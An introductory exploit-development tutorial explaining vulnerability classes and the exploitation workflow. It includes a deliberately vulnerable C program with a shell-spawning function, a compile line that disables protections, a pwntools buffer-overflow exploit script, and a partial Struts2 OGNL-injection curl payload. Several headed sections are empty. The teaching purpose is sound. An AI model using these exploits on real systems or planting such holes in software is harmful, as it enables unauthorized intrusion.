What is Exploit Development?

“Understanding the art of turning bugs into code execution”

🎯 Objective

To build a comprehensive understanding of what exploit development is, its goals, classifications, and how attackers leverage vulnerabilities to hijack program execution. This chapter covers vulnerability classes, real-world scenarios, memory manipulation techniques, and low-level primitives that form the core of exploitation.

1.1 What is an Exploit?

An exploit is a crafted input, payload, or sequence of interactions that takes advantage of a vulnerability in software to achieve unintended behavior, usually with malicious or unauthorized intent.

These behaviors may include:

• Executing arbitrary code
• Reading or writing sensitive memory
• Causing a crash (Denial of Service)
• Escalating privileges
• Bypassing application logic

Example

// vulnerable.c
#include <stdio.h>

int main() {
    char buffer[100];
    gets(buffer); // vulnerable to buffer overflow
    printf("You entered: %s\n", buffer);
    return 0;
}

If buffer is overrun, the return address on the stack can be overwritten, causing the program to jump to attacker-controlled code.

1.2 Exploit vs Payload vs Shellcode

1.3 Exploitation Workflow

1. Discovery – Identify the vulnerability
2. Analysis – Reverse engineer the bug
3. Trigger – Create the condition to exploit it
4. Control – Gain instruction pointer (IP) control
5. Payload Execution – Run arbitrary code or commands
6. Post-Exploitation – Escalate privileges, persist, exfiltrate data

1.4 Exploitation Goals

1.5 Exploit Types (By Technique)

Memory Corruption-Based

• Stack Buffer Overflow
  Overwriting return address on the stack.
• Heap Overflow
  Overwriting heap structures to gain arbitrary write or control flow.
• Use-After-Free (UAF)
  Using memory after it has been freed; attacker reallocates it with malicious data.
• Double Free
  Two free() calls on the same pointer can corrupt heap metadata.
• Format String Bug
  Using uncontrolled format strings like printf(user_input) leads to arbitrary read/write.
• Integer Overflow/Underflow
  Bypass size checks, leading to incorrect memory allocations.

Logical Vulnerabilities

• Race Conditions
  Timing issues in multithreaded environments.
• Improper Access Control
  Missing authentication or authorization checks.
• Insecure Deserialization
  Arbitrary object creation from untrusted data.

1.6 Real Exploitation Example

Here’s a simple Linux example of stack-based control hijacking.

vulnerable.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void secret() {
    printf("PWNED! Code execution achieved!\n");
    system("/bin/sh");
}

void vulnerable() {
    char buffer[64];
    printf("Enter input: ");
    gets(buffer); // unsafe
}

int main() {
    vulnerable();
    return 0;
}

Compile with protections disabled:

gcc vulnerable.c -o vuln -fno-stack-protector -z execstack -no-pie

Exploitation Steps

1. Overflow buffer and overwrite return address
2. Redirect execution to secret()
3. Shell spawned

You can use Pwntools to automate the attack:

from pwn import *

elf = ELF('./vuln')
p = process(elf.path)

payload = b'A' * 72  # Offset to return address
payload += p64(elf.symbols['secret'])

p.sendlineafter('Enter input: ', payload)
p.interactive()

1.7 Common Exploit Development Toolset

1.8 Architectural Concepts

• Registers
  • x86: eax, ebx, esp, ebp, eip
  • x64: rax, rbx, rsp, rbp, rip
• Calling Conventions
  • cdecl (caller cleans up stack)
  • stdcall (callee cleans up stack)
  • fastcall, sysv, Windows x64 (RCX, RDX, R8, R9)
• Endianness
  • Most systems are little-endian (e.g., 0xdeadbeef stored as ef be ad de)

1.9 Operating System Security Mechanisms

We will cover bypass techniques for these later in:

• Return Oriented Programming (ROP)
• ret2libc
• Shellcode relocation
• Heap grooming

1.10 Real-World Exploit Example (CVE)

CVE-2017-5638 – Apache Struts2 RCE

• Vulnerability: Crafted Content-Type header triggers OGNL injection.
• Exploit: curl -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...}" \ http://target.com/struts2-showcase/upload.action

Another: CVE-2017-0144 – EternalBlue

• MS SMBv1 vulnerability
• Used in WannaCry ransomware
• Kernel-level remote exploit on Windows XP to Windows 7

1.11 Ethics and Legal Responsibility

Exploit development is highly sensitive and legally restricted when performed outside ethical boundaries.

Use only in:

• Lab environments
• Capture the Flag (CTF) competitions
• Bug bounty programs
• With explicit authorization

Unauthorized access or exploitation is illegal and unethical.

✅ Summary

• An exploit is not just a payload but the entire logic and sequence required to hijack control flow.
• Memory corruption (e.g., buffer overflow, UAF) is a primary class of vulnerabilities.
• The exploitation process involves discovery, analysis, payloading, and post-exploitation steps.
• A good exploit developer is part developer, part reverse engineer, and part OS internals expert.
• Modern defenses like DEP, ASLR, stack cookies require advanced techniques to bypass.

0 0 votes

Article Rating

Label

{} [+]

Name*

Email*

Website

Label

{} [+]

Name*

Email*

Website

0 Comments

Oldest

Newest Most Voted

Inline Feedbacks

View all comments